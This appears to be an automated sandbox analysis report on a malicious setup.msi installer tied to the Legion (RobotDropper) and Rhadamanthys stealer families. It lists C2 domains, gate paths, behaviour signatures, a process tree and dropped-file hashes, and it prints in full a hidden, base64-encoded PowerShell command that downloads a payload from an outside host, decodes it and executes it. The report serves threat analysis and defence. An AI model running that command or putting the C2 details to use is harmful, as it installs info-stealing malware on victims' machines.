Resubmissions

29/06/2024, 14:38

240629-rzv2qasepl10

29/06/2024, 14:34

240629-rxnvmazblg10

Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • submitted
    29/06/2024, 14:34

General

  • Target
    __x64___setup___x32__/setup.msi
  • Sample240629-rxnvmazblg

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://two-root.com/2506s.bs64

Extracted

Family
  • legion

C2
  • dns-beast.com

Attributes
  • url_paths

    test_gate0117.php

    gate2.php?a=

  • user_agent

    Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko

Signatures

  • Legion family
  • Legion, RobotDropper, Satacom

    Legion aka 'RobotDropper' or 'Satacom' is a malware downloader written in C++ and Legion stealer is written C#.

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 20 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:3060
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4608
    • C:\Windows\system32\msiexec.exe
      msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\__x64___setup___x32__\setup.msi
      1⤵
      • Enumerates connected drives
      • Event Triggered Execution: Installer Packages
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3648
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 18158756225F0DD95DE42D761BC84BA3
        2⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4944
      • C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\UnRAR.exe
        "C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\UnRAR.exe" x -p2161183588a "C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\nijboq.rar" "C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\"
        2⤵
        • Executes dropped EXE
        PID:4264
      • C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnpkeys.exe
        "C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnpkeys.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:412
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe explorer.exe
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3084
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AdAB3AG8ALQByAG8AbwB0AC4AYwBvAG0ALwAyADUAMAA2AHMALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBoACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAbQAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAHAAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgB2ACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4908
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 1988
            4⤵
            • Program crash
            PID:3528
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 1864
            4⤵
            • Program crash
            PID:2724
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 1996
            4⤵
            • Program crash
            PID:3348
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3084 -ip 3084
      1⤵
        PID:4128
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3084 -ip 3084
        1⤵
          PID:3144
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3084 -ip 3084
          1⤵
            PID:3040

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                e57425b.rbs

                • Path C:\Config.Msi\e57425b.rbs
                • Size 25KB
                • SHA256 f3a17e93795aac6d01207a8905af8e6e2b18b9a5aa6c6aed313d2bf4a71160ba
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_yy3wnoxo.its.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yy3wnoxo.its.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                UnRAR.exe

                • Path C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\UnRAR.exe
                • Size 494KB
                • SHA256 e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b
                • MD5 SHA1 SHA512 SSDEEP

                nijboq.rar

                • Path C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\nijboq.rar
                • Size 378KB
                • SHA256 8e0ccd306430d7fee896305a965a06438bb6627ea92e92deef0d4ff02856b872
                • MD5 SHA1 SHA512 SSDEEP

                rnp.dll

                • Path C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnp.dll
                • Size 1003KB
                • SHA256 5c16a3edddb5b1a8f602df239427b5bfe5b9a00ee21e40085a9da888f3d4d48d
                • MD5 SHA1 SHA512 SSDEEP

                rnpkeys.exe

                • Path C:\Users\Admin\AppData\Roaming\Yiui Kisi Pri\PrivAci\rnpkeys.exe
                • Size 780KB
                • SHA256 14b6f5c640c73cdd99e5834e7a56ab3d2912abe623bf5e41946154dad69e5f26
                • MD5 SHA1 SHA512 SSDEEP

                MSI4314.tmp

                • Path C:\Windows\Installer\MSI4314.tmp
                • Size 738KB
                • SHA256 ca763693cc25d316f14a9ebad80ebf00590329550c45adb7e5205486533c2504
                • MD5 SHA1 SHA512 SSDEEP

                MSI449E.tmp

                • Path C:\Windows\Installer\MSI449E.tmp
                • Size 1.1MB
                • SHA256 81e0df47bcb2b3380fb0fb58b0d673be4ef1b0367fd2b0d80ab8ee292fc8f730
                • MD5 SHA1 SHA512 SSDEEP

                MSI5CFC.tmp

                • Path C:\Windows\Installer\MSI5CFC.tmp
                • Size 364KB
                • SHA256 f9956417af079e428631a6c921b79716d960c3b4917c6b7d17ff3cb945f18611
                • MD5 SHA1 SHA512 SSDEEP

                e574258.msi

                • Path C:\Windows\Installer\e574258.msi
                • Size 34.8MB
                • SHA256 d9324c156a90b828e3f110a871b6eca08bb6251fc34dcb8b570c05f48a6b642d
                • MD5 SHA1 SHA512 SSDEEP

                memory/412-159-0x0000012EDB000000-0x0000012EDB001000-memory.dmp

                memory/3084-163-0x00000000001E0000-0x0000000000208000-memory.dmp

                memory/3084-227-0x00000000047A0000-0x0000000004BA0000-memory.dmp

                memory/3084-231-0x0000000077440000-0x0000000077692000-memory.dmp

                memory/3084-162-0x00000000001E0000-0x0000000000208000-memory.dmp

                memory/3084-161-0x00000000001E0000-0x0000000000208000-memory.dmp

                memory/3084-229-0x00007FFEF68C0000-0x00007FFEF6AC9000-memory.dmp

                memory/3084-228-0x00000000047A0000-0x0000000004BA0000-memory.dmp

                memory/4608-232-0x00000000005D0000-0x00000000005D9000-memory.dmp

                memory/4608-234-0x0000000002570000-0x0000000002970000-memory.dmp

                memory/4608-237-0x0000000077440000-0x0000000077692000-memory.dmp

                memory/4608-235-0x00007FFEF68C0000-0x00007FFEF6AC9000-memory.dmp

                memory/4908-221-0x0000026BEF840000-0x0000026BEFD68000-memory.dmp

                memory/4908-220-0x0000026BEF140000-0x0000026BEF302000-memory.dmp

                memory/4908-185-0x0000026BEEF50000-0x0000026BEEF6C000-memory.dmp

                memory/4908-165-0x0000026BEEA50000-0x0000026BEEA72000-memory.dmp